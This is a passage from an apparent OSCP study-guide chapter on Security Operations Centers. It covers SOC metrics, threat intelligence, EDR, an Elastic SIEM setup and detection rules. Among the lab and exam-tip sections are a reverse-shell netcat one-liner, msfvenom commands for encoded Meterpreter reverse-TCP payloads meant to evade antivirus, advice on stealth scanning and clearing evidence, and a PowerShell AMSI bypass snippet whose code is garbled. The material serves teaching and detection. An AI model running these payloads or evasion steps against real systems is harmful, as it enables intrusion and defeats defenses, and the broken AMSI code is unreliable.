│ ├── Proactive threat hunting program │
│ ├── Continuous improvement based on metrics │
│ ├── Advanced IR with automated playbooks │
│ └── Regular red team / purple team exercises │
│ │
│ Technology: │
│ ├── Advanced SIEM with ML capabilities │
│ ├── Full SOAR automation │
│ ├── Advanced threat intelligence platform │
│ └── Custom detection engineering │
│ │
│ Coverage: │
│ ├── Full visibility across all assets │
│ ├── Proactive threat detection │
│ └── Automated containment for known threats │
└──────────────────────────────────────────────────────────┘
Level 5: Optimized
┌──────────────────────────────────────────────────────────┐
│ Level 5: Optimized SOC │
│ │
│ People: │
│ ├── World-class SOC team │
│ ├── AI-assisted analysis │
│ ├── Industry thought leadership │
│ └── Continuous innovation and improvement │
│ │
│ Process: │
│ ├── Predictive threat modeling │
│ ├── Fully automated response for most incidents │
│ ├── Industry collaboration and intelligence sharing │
│ └── Continuous optimization based on AI insights │
│ │
│ Technology: │
│ ├── AI/ML-powered detection and response │
│ ├── Autonomous SOAR with self-learning │
│ ├── Advanced behavioral analytics │
│ └── Integrated security fabric │
│ │
│ Coverage: │
│ ├── Complete visibility including cloud and OT │
│ ├── Predictive threat prevention │
│ └── Near-zero manual intervention for routine events │
└──────────────────────────────────────────────────────────┘
7. Key Metrics
| Metric |
Definition |
Target |
Formula |
| MTTD (Mean Time to Detect) |
Average time from attack start to detection |
< 1 hour |
Sum(detection times) / Number of incidents |
| MTTR (Mean Time to Respond) |
Average time from detection to containment |
< 4 hours |
Sum(response times) / Number of incidents |
| Alert Volume |
Number of alerts generated per day |
Varies by org |
Count(alerts) per day |
| False Positive Rate |
Percentage of alerts that are not real threats |
< 20% |
False positives / Total alerts × 100 |
| Coverage Percentage |
Percentage of assets under monitoring |
> 95% |
Monitored assets / Total assets × 100 |
| SLA Compliance |
Percentage of incidents handled within SLA |
> 95% |
Incidents within SLA / Total incidents × 100 |
| Mean Time to Acknowledge |
Average time from alert to analyst acknowledgment |
< 15 minutes |
Sum(ack times) / Number of alerts |
| Mean Time to Resolve |
Average time from detection to full resolution |
< 24 hours |
Sum(resolution times) / Number of incidents |
Industry Benchmarks (2024)
| Metric |
Industry Average |
Best-in-Class |
| MTTD |
207 days (IBM Cost of a Data Breach 2024) |
< 1 hour |
| MTTR |
268 days (IBM Cost of a Data Breach 2024) |
< 4 hours |
| False Positive Rate |
60-70% |
< 10% |
| Alert Volume per Analyst |
1,000-10,000/day |
< 500/day (after filtering) |
| Coverage |
70-80% |
> 95% |
Metric Calculation Examples
# Example: Calculate MTTD
from datetime import datetime
incidents = [
{"detection_time": datetime(2024, 1, 15, 10, 30), "attack_start": datetime(2024, 1, 15, 10, 15)},
{"detection_time": datetime(2024, 1, 16, 14, 45), "attack_start": datetime(2024, 1, 16, 14, 0)},
{"detection_time": datetime(2024, 1, 17, 9, 20), "attack_start": datetime(2024, 1, 17, 8, 50)},
]
detection_times = []
for incident in incidents:
delta = incident["detection_time"] - incident["attack_start"]
detection_times.append(delta.total_seconds() / 60) # Convert to minutes
mttd = sum(detection_times) / len(detection_times)
print(f"MTTD: {mttd:.2f} minutes")
# Output: MTTD: 21.67 minutes
8. Threat Intelligence
Types of Threat Intelligence
| Type |
Audience |
Purpose |
Examples |
| Strategic |
Executives, Board |
High-level threat landscape, business risk |
Threat actor profiles, industry trends, risk assessments |
| Operational |
Security Managers, IR Teams |
Specific campaigns, attacker plans |
Campaign details, attack timelines, target selection |
| Tactical |
SOC Analysts, Detection Engineers |
Attacker TTPs, malware behavior |
MITRE ATT&CK mappings, malware analysis, exploit techniques |
| Technical |
SOC Analysts, Engineers |
Specific IOCs, signatures |
IP addresses, file hashes, URLs, domain names, YARA rules |
Threat Intelligence Sources
| Source Type |
Examples |
Characteristics |
| Open Source (OSINT) |
AlienVault OTX, VirusTotal, Abuse.ch, Shodan |
Free, publicly available, variable quality |
| Commercial |
Recorded Future, ThreatConnect, Anomali |
Paid, curated, high quality, actionable |
| Government |
CISA, US-CERT, NCSC, ENISA |
Authoritative, timely, may be classified |
| Community |
ISACs, MISP communities, Twitter security researchers |
Peer-shared, diverse perspectives, real-time |
| Internal |
Own SOC data, honeypots, deception technology |
Highly relevant, organization-specific |
Threat Intelligence Sharing
Open-source platform for sharing threat intelligence:
{
"db": "MISP",
"MISP": {
"uuid": "a1b2c3d4-e5f6-7890-abcd-ef1234567890",
"date": "2024-01-15",
"info": "APT29 Campaign - SolarStorm",
"Attribute": [
{
"type": "ip-src",
"value": "198.51.100.23",
"Tag": [
{
"name": "mitre-attack-campaign:campaign-1"
}
]
},
{
"type": "md5",
"value": "d41d8cd98f00b204e9800998ecf8427e",
"Tag": [
{
"name": "mitre-attack-malware:malware-1"
}
]
}
]
}
}
AlienVault OTX (Open Threat Exchange)
Community-driven threat intelligence platform:
Pulse Example:
├── Name: "Emotet Botnet C2 Infrastructure"
├── Author: "Security Researcher"
├── Indicators:
│ ├── IPs: 198.51.100.0/24
│ ├── Domains: malicious-domain.com
│ └── URLs: http://malicious-domain.com/payload.exe
├── Tags: ["emotet", "botnet", "c2"]
└── References: ["https://example.com/research"]
IOC vs TTP
| Aspect |
IOC (Indicators of Compromise) |
TTP (Tactics, Techniques, Procedures) |
| Definition |
Specific artifacts indicating compromise |
How attackers operate |
| Examples |
IP addresses, file hashes, domains |
Phishing, lateral movement, privilege escalation |
| Persistence |
Short-lived, easily changed |
Long-lived, harder to change |
| Detection |
Signature-based, exact match |
Behavioral, pattern-based |
| Framework |
N/A |
MITRE ATT&CK |
| Value |
Quick detection of known threats |
Detection of novel attacks using same methods |
MITRE ATT&CK Framework
Tactic: Initial Access
├── Technique: Phishing (T1566)
│ ├── Sub-technique: Spearphishing Link (T1566.002)
│ └── Sub-technique: Spearphishing Attachment (T1566.003)
├── Technique: Valid Accounts (T1078)
└── Technique: Drive-by Compromise (T1189)
Tactic: Execution
├── Technique: Command and Scripting Interpreter (T1059)
│ ├── Sub-technique: PowerShell (T1059.001)
│ └── Sub-technique: Python (T1059.006)
└── Technique: Signed Script Proxy Execution (T1216)
Tactic: Persistence
├── Technique: Create or Modify System Process (T1543)
│ ├── Sub-technique: Windows Service (T1543.003)
│ └── Sub-technique: Systemd Service (T1543.002)
└── Technique: Boot or Logon Autostart Execution (T1547)
9. EDR (Endpoint Detection and Response)
What EDR Does
EDR solutions provide comprehensive visibility and control over endpoint activities, enabling detection and response to advanced threats.
Core Capabilities
| Capability |
Description |
| Behavioral Monitoring |
Monitor process execution, file access, network connections, registry changes |
| Threat Detection |
Detect malware, suspicious behavior, and attack patterns |
| Investigation |
Provide detailed telemetry for incident investigation |
| Response |
Isolate endpoints, kill processes, quarantine files |
| Forensics |
Collect and preserve forensic evidence |
| Threat Hunting |
Enable proactive search for threats |
Popular EDR Solutions
| Solution |
Vendor |
Key Features |
| CrowdStrike Falcon |
CrowdStrike |
Cloud-native, AI-powered, lightweight agent, unified platform |
| SentinelOne |
SentinelOne |
Autonomous response, ML-based detection, rollback capabilities |
| Carbon Black |
VMware |
Real-time process monitoring, prevention, investigation |
| Microsoft Defender for Endpoint |
Microsoft |
Native Windows integration, cloud-delivered, Defender XDR |
| Trend Micro Vision One |
Trend Micro |
XDR platform, cloud security, threat intelligence |
| Palo Alto Cortex XDR |
Palo Alto Networks |
Network + endpoint correlation, automated response |
How EDR Detects Attacks
Detection Methods
| Method |
Description |
Example |
| Signature-based |
Match known malware signatures |
Detect known trojan by file hash |
| Behavioral Analysis |
Monitor for suspicious behavior patterns |
PowerShell downloading and executing remote content |
| Heuristic Analysis |
Analyze code structure and behavior |
Detect obfuscated scripts |
| Machine Learning |
Train models on malicious vs benign behavior |
Detect novel malware based on behavior patterns |
| Threat Intelligence |
Match against known IOCs |
Block connection to known C2 server |
| Anomaly Detection |
Identify deviations from baseline |
User accessing unusual resources at odd hours |
EDR Telemetry Data
Process Execution:
├── Parent process: explorer.exe
├── Child process: powershell.exe
├── Command line: powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQA...
├── User: DOMAIN\user1
├── Timestamp: 2024-01-15T10:30:00Z
└── Hash: d41d8cd98f00b204e9800998ecf8427e
File Access:
├── Process: powershell.exe
├── Action: Create
├── Path: C:\Users\user1\AppData\Local\Temp\payload.exe
├── Size: 45678 bytes
└── Hash: a1b2c3d4e5f6789012345678abcdef01
Network Connection:
├── Process: payload.exe
├── Destination IP: 198.51.100.23
├── Destination Port: 443
├── Protocol: TCP
└── Bytes Sent: 12345
EDR Evasion Techniques (OSCP Relevant)
Common Evasion Methods
| Technique |
Description |
Detection Counter |
| Living off the Land |
Use legitimate tools (PowerShell, WMI, certutil) |
Behavioral detection, command line monitoring |
| Fileless Malware |
Execute code in memory without writing to disk |
Memory scanning, behavioral analysis |
| Obfuscation |
Encode/encrypt commands to avoid signature detection |
Decoding analysis, behavioral detection |
| Process Injection |
Inject code into legitimate processes |
Process monitoring, parent-child relationship analysis |
| Time-based Evasion |
Delay execution to avoid detection windows |
Persistent monitoring, behavioral baselining |
| AMSI Bypass |
Bypass Antimalware Scan Interface |
AMSI monitoring, updated signatures |
| ETW Bypass |
Disable Event Tracing for Windows |
ETW monitoring, integrity checks |
AMSI Bypass Example (Educational)
# AMSI bypass technique (for understanding detection only)
# This modifies the AMSI ScanBuffer function to always return "not detected"
$amsi = [Ref].Assembly.GetTypes() | Where-Object { $_.Name -like 'AMSIUtils' }
$amsi::Init() | Out-Null
# Patch the AMSI ScanBuffer function
$ptr = [System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
[System.Func`3[[System.IntPtr], [System.UInt32], [System.Int32]]]::
GetDelegateForFunctionPointer(
[System.Runtime.InteropServices.Marshal]::GetFunctionPointerForDelegate(
{ param([System.IntPtr]$ctx, [System.UInt32]$size, [System.IntPtr]$buffer) }
),
[System.Func`3[[System.IntPtr], [System.UInt32], [System.Int32]]]
)
)
# Note: This is for educational purposes to understand how EDR/AV detection works
# Modern EDR solutions detect and block AMSI bypass attempts
Detection of EDR Evasion
EDR Detection Strategy:
├── Monitor for AMSI bypass attempts
│ └── Alert on suspicious memory modifications to amsi.dll
├── Monitor for ETW disabling
│ └── Alert on attempts to stop ETW providers
├── Behavioral detection
│ └── Detect suspicious PowerShell patterns even if obfuscated
├── Parent-child process monitoring
│ └── Alert on unusual process spawning chains
└── Memory scanning
└── Scan for known malicious patterns in memory
10. OSCP Exam Relevance
Why Understanding SOC Helps in OSCP
| Benefit |
Description |
| Defensive Perspective |
Understanding how defenders detect attacks helps you operate more effectively |
| Stealth Awareness |
Knowing what generates alerts helps you minimize detection |
| Report Quality |
SOC knowledge improves the quality of your penetration test reports |
| Real-World Context |
OSCP simulates real-world scenarios where SOC monitoring may be present |
| Blue Team Appreciation |
Understanding defense improves overall security skills |
Activities That Generate SOC Alerts
| Activity |
Alert Type |
Severity |
Detection Method |
| Nmap Scan |
Port scan detection |
Medium |
IDS/IPS, firewall logs, SIEM correlation |
| Brute Force |
Multiple failed logins |
High |
SIEM correlation, account lockout events |
| Metasploit Exploitation |
Exploit signature match |
Critical |
IDS/IPS, EDR, SIEM |
| PowerShell Execution |
Suspicious PowerShell |
Medium-High |
EDR, AMSI, script block logging |
| Lateral Movement |
Multiple host access |
High |
AD logs, SIEM correlation, EDR |
| Privilege Escalation |
UAC bypass, token manipulation |
High |
EDR, Windows event logs |
| Data Exfiltration |
Large data transfer |
Critical |
DLP, network monitoring, SIEM |
| Reverse Shell |
Outbound connection to attacker |
Critical |
EDR, firewall, network monitoring |
Operating Quietly
Techniques to Minimize Detection
| Technique |
Description |
Impact |
| Slow Down Scanning |
Use slower scan rates, spread scans over time |
Reduces port scan detection |
| Use Legitimate Tools |
Use built-in tools instead of obvious attack tools |
Reduces tool-based detection |
| Avoid Obvious Patterns |
Don’t scan all ports on all hosts sequentially |
Reduces behavioral detection |
| Limit Failed Attempts |
Use targeted brute force instead of dictionary attacks |
Reduces account lockout alerts |
| Use Encrypted Channels |
Use HTTPS, SSH instead of cleartext protocols |
Reduces content-based detection |
| Operate During Business Hours |
Blend in with normal activity patterns |
Reduces anomaly detection |
| Minimize Lateral Movement |
Use direct access when possible |
Reduces lateral movement detection |
Scan Rate Comparison
Aggressive Scan (High Detection Risk):
nmap -sS -p- -T4 192.168.1.0/24
├── Scans all 65535 ports
├── Fast timing (T4)
├── Entire subnet at once
└── Likely to trigger IDS alerts
Stealthy Scan (Lower Detection Risk):
nmap -sS -p 21,22,80,443,445,3389 -T2 --scan-delay 5s 192.168.1.10
├── Common ports only
├── Slower timing (T2)
├── Single host at a time
├── Delay between scans
└── Less likely to trigger alerts
Exam Targets with Active Defense
Some OSCP exam targets may have:
| Defense Type |
What to Expect |
How to Handle |
| Basic IDS/IPS |
Snort or similar monitoring |
Use slower scans, avoid obvious exploit signatures |
| Antivirus |
Windows Defender or third-party AV |
Use AV evasion techniques, encode payloads |
| Account Lockout |
Failed login attempts trigger lockout |
Use targeted attacks, limit attempts |
| Logging |
Comprehensive event logging |
Use living-off-the-land techniques |
| Network Monitoring |
Traffic analysis and alerting |
Use encrypted channels, blend with normal traffic |
How SOC Knowledge Improves Report Quality
| Aspect |
Without SOC Knowledge |
With SOC Knowledge |
| Attack Timeline |
Basic sequence of events |
Detailed timeline with detection points |
| Impact Assessment |
Generic impact description |
Specific impact on security monitoring and response |
| Recommendations |
Generic hardening tips |
Specific detection and response improvements |
| Evidence |
Screenshots of exploits |
Log entries showing detection gaps |
| Risk Rating |
Based on CVSS only |
Based on detectability and response capability |
11. Practical Examples
Setting Up a Basic SIEM with Elastic Stack
Architecture
┌──────────────────────────────────────────────────────────┐
│ Elastic Stack SIEM Setup │
│ │
│ ┌──────────┐ ┌──────────┐ ┌──────────┐ │
│ │ Beats │───→│ Logstash │───→│ Elastic │ │
│ │ (Agents) │ │ (Process)│ │ search │ │
│ └──────────┘ └──────────┘ └────┬─────┘ │
│ │ │
│ ┌────────▼────────┐ │
│ │ Kibana │ │
│ │ (Dashboard) │ │
│ └─────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ Elastic Security (SIEM) │ │
│ │ • Rule management │ │
│ │ • Alerting │ │
│ │ • Detection engineering │ │
│ │ • Case management │ │
│ └──────────────────────────────────────────────┘ │
└──────────────────────────────────────────────────────────┘
Installation Steps
# 1. Install Elasticsearch
curl -L -O https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-8.11.1-amd64.deb
sudo dpkg -i elasticsearch-8.11.1-amd64.deb
sudo systemctl enable elasticsearch
sudo systemctl start elasticsearch
# 2. Install Kibana
curl -L -O https://artifacts.elastic.co/downloads/kibana/kibana-8.11.1-amd64.deb
sudo dpkg -i kibana-8.11.1-amd64.deb
sudo systemctl enable kibana
sudo systemctl start kibana
# 3. Install Filebeat (log shipper)
curl -L -O https://artifacts.elastic.co/downloads/beats/filebeat/filebeat-8.11.1-amd64.deb
sudo dpkg -i filebeat-8.11.1-amd64.deb
# 4. Configure Filebeat to send logs to Elasticsearch
sudo filebeat modules enable system
sudo filebeat setup --index-management -E output.logstash.enabled=false -E 'output.elasticsearch.hosts=["http://localhost:9200"]'
sudo systemctl enable filebeat
sudo systemctl start filebeat
Filebeat Configuration
# /etc/filebeat/filebeat.yml
filebeat.inputs:
- type: log
enabled: true
paths:
- /var/log/syslog
- /var/log/auth.log
fields:
log_type: system
fields_under_root: true
- type: log
enabled: true
paths:
- /var/log/nginx/access.log
- /var/log/nginx/error.log
fields:
log_type: nginx
fields_under_root: true
output.elasticsearch:
hosts: ["http://localhost:9200"]
index: "siem-logs-%{+yyyy.MM.dd}"
setup.kibana:
host: "localhost:5601"
Writing Detection Rules for Common Attacks
Rule 1: Nmap Scan Detection
# Elastic SIEM Detection Rule
rule:
name: "Nmap SYN Scan Detected"
description: "Detects nmap SYN scan activity based on connection patterns"
author: "SOC Team"
severity: "medium"
risk_score: 47
timestamp_override: true
from: 'now-15m'
index:
- 'filebeat-*'
- 'logs-*'
language: "kuery"
query: "event.action:connection AND destination.port:(22 OR 80 OR 443 OR 3389 OR 8080) AND network.direction:outbound AND event.outcome:failure"
query_type: "kuery"
action:
group_by_fields:
- source.ip
group_by_normalized: false
group_by_value: "$msg"
filter_group_by: false
group_by: "source.ip"
group_by_entity_rules: {}
group_by_strategy: "ags"
group_by_window: "15m"
threshold: 50
actions: []
tags: []
meta: {}
references: []
updated: "2024-01-15T10:00:00.000Z"
created: "2024-01-15T10:00:00.000Z"
status: "production"
enabled: true
Rule 2: Brute Force Detection
# Elastic SIEM Detection Rule
rule:
name: "SSH Brute Force Attack"
description: "Detects multiple failed SSH login attempts from a single source"
author: "SOC Team"
severity: "high"
risk_score: 73
timestamp_override: true
from: 'now-5m'
index:
- 'logs-*'
language: "kuery"
query: "event.category:authentication AND event.outcome:failure AND destination.port:22"
query_type: "kuery"
action:
group_by_fields:
- source.ip
group_by: "source.ip"
group_by_window: "5m"
threshold: 10
actions: []
tags:
- "attack.t1110"
- "attack.initial-access"
meta: {}
references: []
updated: "2024-01-15T10:00:00.000Z"
created: "2024-01-15T10:00:00.000Z"
status: "production"
enabled: true
Rule 3: Suspicious PowerShell Execution
# Elastic SIEM Detection Rule
rule:
name: "Encoded PowerShell Command"
description: "Detects PowerShell commands with encoded parameters, commonly used in attacks"
author: "SOC Team"
severity: "high"
risk_score: 67
timestamp_override: true
from: 'now-10m'
index:
- 'logs-windows.sysmon_operational-*'
language: "kuery"
query: "process.command_line:*-enc* AND process.name:powershell.exe"
query_type: "kuery"
action:
group_by_fields:
- host.hostname
group_by: "host.hostname"
group_by_window: "10m"
threshold: 1
actions: []
tags:
- "attack.t1059.001"
- "attack.execution"
meta: {}
references: []
updated: "2024-01-15T10:00:00.000Z"
created: "2024-01-15T10:00:00.000Z"
status: "production"
enabled: true
Analyzing Attack Logs in a SIEM
Sample Attack Log Analysis
Attack Scenario: Attacker performs nmap scan, exploits SSH, and establishes reverse shell
Timeline:
┌─────────────────────────────────────────────────────────────────────┐
│ 10:00:00 - Nmap SYN scan from 192.168.1.100 to 192.168.1.50 │
│ 10:00:15 - Multiple connection attempts to ports 22, 80, 443 │
│ 10:01:00 - SSH brute force from 192.168.1.100 │
│ 10:01:30 - Successful SSH login as user 'admin' │
│ 10:02:00 - PowerShell execution with encoded command │
│ 10:02:15 - Outbound connection to 192.168.1.100:4444 │
│ 10:02:30 - Reverse shell established │
└─────────────────────────────────────────────────────────────────────┘
SIEM Query to Reconstruct Attack:
# Step 1: Find the initial scan
source.ip:192.168.1.100 AND destination.ip:192.168.1.50
# Step 2: Find the brute force attempts
source.ip:192.168.1.100 AND destination.port:22 AND event.outcome:failure
# Step 3: Find the successful login
source.ip:192.168.1.100 AND destination.port:22 AND event.outcome:success
# Step 4: Find the malicious PowerShell execution
process.name:powershell.exe AND process.command_line:*-enc*
# Step 5: Find the reverse shell connection
destination.ip:192.168.1.100 AND destination.port:4444
# Step 6: Correlate all events
(source.ip:192.168.1.100 OR destination.ip:192.168.1.100)
AND (destination.ip:192.168.1.50 OR source.ip:192.168.1.50)
12. Lab Exercises
Exercise 1: Deploy Elastic SIEM and Monitor Your Own Attacks
Objective
Set up a basic SIEM using the Elastic Stack and monitor your own penetration testing activities.
Prerequisites
- Linux VM (Ubuntu 22.04 recommended)
- 4GB+ RAM, 2 CPU cores
- 20GB+ disk space
Steps
# Step 1: Install Elastic Stack
# Follow the installation steps from Section 11
# Step 2: Configure log collection
# Edit /etc/filebeat/filebeat.yml to collect relevant logs
# Step 3: Start the services
sudo systemctl start elasticsearch
sudo systemctl start kibana
sudo systemctl start filebeat
# Step 4: Access Kibana
# Open http://<your-server-ip>:5601 in your browser
# Step 5: Set up Elastic Security
# Navigate to Security > Detection Engineering in Kibana
Attack Scenarios to Monitor
| Scenario |
Command |
Expected Alert |
| Port Scan |
nmap -sS -p 22,80,443 <target> |
Port scan detection |
| Brute Force |
hydra -l admin -P wordlist.txt ssh://<target> |
Brute force detection |
| Exploitation |
msfconsole → exploit module |
Exploit signature match |
| Reverse Shell |
nc -e /bin/sh <attacker> 4444 |
Suspicious outbound connection |
| Privilege Escalation |
sudo -l, exploit scripts |
Privilege escalation detection |
Exercise 2: Create Correlation Rules
Objective
Create custom correlation rules to detect common attack patterns.
Steps
1. Access Kibana → Security → Detection Engineering
2. Create a new rule:
- Rule type: Threshold
- Index: logs-*
- Query: event.category:network AND network.direction:outbound
- Group by: source.ip
- Time window: 5m
- Threshold: 100
3. Test the rule:
- Perform the attack scenario
- Verify the alert is generated
- Adjust the rule as needed
4. Create additional rules for:
- Brute force detection
- Suspicious PowerShell execution
- Data exfiltration detection
- Lateral movement detection
rule:
name: "Metasploit Payload Detected"
description: "Detects common Metasploit payload patterns"
severity: "critical"
risk_score: 95
query: "process.command_line:*/tmp/* OR process.command_line:*meterpreter* OR network.destination.port:4443 OR network.destination.port:4444"
action:
group_by: "host.hostname"
group_by_window: "5m"
threshold: 1
tags:
- "attack.t1059"
- "metasploit"
Exercise 3: Analyze Attack Logs
Objective
Analyze logs from a simulated attack and reconstruct the attack timeline.
Steps
1. Generate attack traffic:
- Perform a nmap scan against your target
- Attempt SSH brute force
- Exploit a vulnerability
- Establish a reverse shell
2. Collect logs:
- System logs (/var/log/syslog, /var/log/auth.log)
- Network logs (if available)
- Application logs
3. Analyze in SIEM:
- Search for attack indicators
- Correlate events across sources
- Reconstruct the attack timeline
4. Document findings:
- Create an incident report
- Identify detection gaps
- Recommend improvements
| Tool |
Type |
Best For |
| Splunk Enterprise Security |
Commercial |
Enterprise-scale, extensive ecosystem |
| Elastic SIEM |
Open-source + Commercial |
Flexibility, Kibana dashboards, ML |
| IBM QRadar |
Commercial |
Strong correlation, compliance |
| Microsoft Sentinel |
Commercial (Cloud) |
Azure integration, cloud-native |
| AlienVault USM |
Open-source + Commercial |
SMBs, unified platform |
| Tool |
Type |
Best For |
| Splunk SOAR (Phantom) |
Commercial |
Extensive app library, Splunk integration |
| XSOAR |
Commercial |
Case management, automation |
| TheHive |
Open-source |
Case management, budget-conscious |
| Swimlane |
Commercial |
Visual automation, orchestration |
| Tool |
Type |
Best For |
| CrowdStrike Falcon |
Commercial |
Cloud-native, AI-powered |
| SentinelOne |
Commercial |
Autonomous response, ML |
| Microsoft Defender |
Commercial |
Windows integration, cost-effective |
| Carbon Black |
Commercial |
Real-time monitoring, prevention |
| Tool |
Type |
Best For |
| MISP |
Open-source |
Threat intel sharing, community |
| AlienVault OTX |
Free |
Community-driven, open source |
| VirusTotal |
Free + Commercial |
File and URL analysis |
| Recorded Future |
Commercial |
Comprehensive, actionable intel |
| Tool |
Type |
Best For |
| Autopsy |
Open-source |
Disk forensics, evidence analysis |
| FTK |
Commercial |
Forensic analysis, large datasets |
| Wireshark |
Open-source |
Network forensics, packet analysis |
| Volatility |
Open-source |
Memory forensics, malware analysis |
| Ghidra |
Open-source |
Reverse engineering, malware analysis |
14. Exam Tips
Minimizing Detection During OSCP Exam
General Principles
-
Reconnaissance
- Use passive reconnaissance when possible
- Limit active scanning to necessary targets
- Use slower scan rates (
-T2 or -T1 in nmap)
- Scan common ports first, then expand if needed
-
Exploitation
- Use manual exploitation when possible (less detectable than Metasploit)
- Encode payloads to avoid signature detection
- Use alternative ports for reverse shells
- Consider using legitimate tools for exploitation
-
Post-Exploitation
- Use living-off-the-land techniques
- Avoid obvious tool names and paths
- Limit lateral movement to necessary hosts
- Clean up evidence when done
Specific Tips
| Tip |
Description |
Use -T2 or slower in nmap |
Reduces scan detection risk |
| Scan specific ports first |
nmap -p 22,80,443,3389 before full scan |
| Use manual exploits |
Write custom exploits instead of using Metasploit |
| Encode payloads |
Use msfvenom with encoding to avoid AV detection |
| Use alternative shells |
Consider Python, PHP, or netcat shells instead of Meterpreter |
| Limit brute force |
Use targeted attacks with known credentials |
| Use encrypted channels |
Use HTTPS, SSH, or encrypted tunnels |
| Operate during business hours |
Blend with normal activity patterns |
Payload Encoding Example
# Generate encoded payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4443 -f exe -o payload.exe
# Encode the payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4443 -f raw -e x86/shikata_ga_nai -i 3 | msfvenom -a x86 --platform windows -e x86/countdown -i 2 -f exe -o encoded_payload.exe
# Use alternative encoder
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4443 -f exe -o payload.exe -e x64/xor_dynamic
Report Writing Tips
Include in your report:
├── Detection Analysis
│ ├── What activities would generate alerts
│ ├── How long the attack would remain undetected
│ └── Which SOC tools would detect each phase
├── Defensive Recommendations
│ ├── Specific detection rules to implement
│ ├── Monitoring improvements
│ └── Response playbook suggestions
└── Risk Assessment
├── Likelihood of detection
├── Impact if detected
└── Residual risk after remediation
15. Cross-References
| Topic |
Relationship |
Reference |
| Red Team vs Blue Team vs Purple Team |
SOC is the core of Blue Team operations |
See Red/Blue/Purple Team chapter |
| AV Evasion |
EDR is the modern evolution of AV |
See AV Evasion chapter |
| Attack Lifecycle |
SOC detects and responds at each stage |
See Attack Lifecycle chapter |
| Incident Response |
IR is a core SOC function |
Covered in this chapter |
| Threat Intelligence |
Feeds SOC detection and hunting |
Covered in this chapter |
| Penetration Testing |
SOC knowledge improves testing and reporting |
See Reporting chapter |
| Network Security |
SOC monitors network security controls |
See Network Security chapter |
| Cloud Security |
Modern SOCs monitor cloud environments |
See Cloud Security chapter |
MITRE ATT&CK Mapping
| SOC Function |
ATT&CK Tactic |
Detection Focus |
| Initial Access Detection |
Initial Access |
Phishing, valid accounts, drive-by compromise |
| Execution Detection |
Execution |
PowerShell, command-line, scripted agents |
| Persistence Detection |
Persistence |
Registry modifications, scheduled tasks, services |
| Privilege Escalation Detection |
Privilege Escalation |
UAC bypass, token manipulation, exploit |
| Defense Evasion Detection |
Defense Evasion |
AMSI bypass, indicator removal, obfuscation |
| Credential Access Detection |
Credential Access |
Brute force, credential dumping, keylogging |
| Discovery Detection |
Discovery |
System information, network discovery |
| Lateral Movement Detection |
Lateral Movement |
Remote services, pass-the-hash, WMI |
| Collection Detection |
Collection |
Data staging, archive collection |
| Exfiltration Detection |
Command and Control, Exfiltration |
C2 channels, data exfiltration over C2 |
Recommended Reading
| Resource |
Description |
| NIST SP 800-61 |
Computer Security Incident Handling Guide |
| SANS SOC Maturity Model |
SOC maturity assessment framework |
| MITRE ATT&CK Framework |
Adversary tactics and techniques |
| IBM Cost of a Data Breach Report |
Industry benchmarks and metrics |
| Splunk Security Essentials |
SIEM best practices |
| Blue Team Training |
Hands-on blue team labs |
Summary
The Security Operations Center is the cornerstone of an organization’s defensive security posture. Understanding SOC operations, SIEM capabilities, incident response processes, and threat intelligence is essential for any security professional, including penetration testers preparing for the OSCP exam.
Key Takeaways
- SOC is multi-layered: Tier 1, 2, and 3 analysts work together to detect, analyze, and respond to threats
- SIEM is central: Log aggregation, correlation, and alerting are core SIEM functions
- Automation is key: SOAR platforms automate repetitive tasks and improve response times
- IR is structured: NIST IR framework provides a systematic approach to incident response
- Metrics matter: MTTD, MTTR, and false positive rate are critical SOC metrics
- Threat intelligence drives detection: IOCs and TTPs inform detection rules and hunting
- EDR is essential: Endpoint visibility is critical for modern threat detection
- OSCP relevance: Understanding SOC helps you operate more effectively and write better reports
For OSCP Candidates
- Understand what activities generate SOC alerts
- Learn to operate quietly to minimize detection
- Use SOC knowledge to improve report quality
- Appreciate the defensive perspective to become a better security professional
Last Updated: 2026-09-01
Chapter: 01 - Introduction to CyberSecurity
Topic: 14 - Security Operations Center (SOC)